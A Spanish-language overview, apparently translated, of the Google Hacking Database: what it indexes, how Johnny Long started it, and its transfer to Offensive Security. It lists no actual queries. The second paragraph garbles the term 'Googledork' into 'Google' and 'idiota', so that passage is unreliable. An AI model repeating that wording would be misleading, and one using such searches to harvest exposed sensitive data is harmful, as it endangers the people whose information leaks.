La base de datos de piratería de Google (GHDB) es un índice categorizado de consultas de motores de búsqueda de Internet diseñado para descubrir información interesante y, por lo general, confidencial que se pone a disposición del público en Internet. En la mayoría de los casos, esta información nunca tuvo la intención de hacerse pública, pero debido a una serie de factores, esta información se vinculó en un documento web que fue rastreado por un motor de búsqueda que posteriormente siguió ese enlace e indexó la información confidencial.

El proceso conocido como "Google Hacking" fue popularizado en 2000 por Johnny Long, un pirata informático profesional, que comenzó a catalogar estas consultas en una base de datos conocida como Google Hacking Database. Sus esfuerzos iniciales se vieron amplificados por innumerables horas de esfuerzo de los miembros de la comunidad, documentado en el libro Google Hacking For Penetration Testers y popularizado por una avalancha de atención de los medios y las charlas de Johnny sobre el tema, como esta primera charla grabada en DEFCON 13. Johnny acuñó el término "Google" para referirse a "una persona tonta o inepta según lo revelado por Google". Con esto se pretendía llamar la atención sobre el hecho de que no se trataba de un "problema de Google", sino más bien el resultado de una configuración incorrecta a menudo involuntaria por parte de un usuario o un programa instalado por el usuario. Con el tiempo, el término "idiota" se convirtió en la abreviatura de una consulta de búsqueda que localizaba información sensible y los "idiotas" se incluyeron en muchas versiones de vulnerabilidades de aplicaciones web para mostrar ejemplos de sitios web vulnerables.

Después de casi una década de arduo trabajo por parte de la comunidad, Johnny entregó el GHDB a Offensive Security en noviembre de 2010, y ahora se mantiene como una extensión de Exploit Database. Hoy en día, GHDB incluye búsquedas para otros motores de búsqueda en línea como Bing y otros repositorios en línea como GitHub, que producen resultados diferentes pero igualmente valiosos.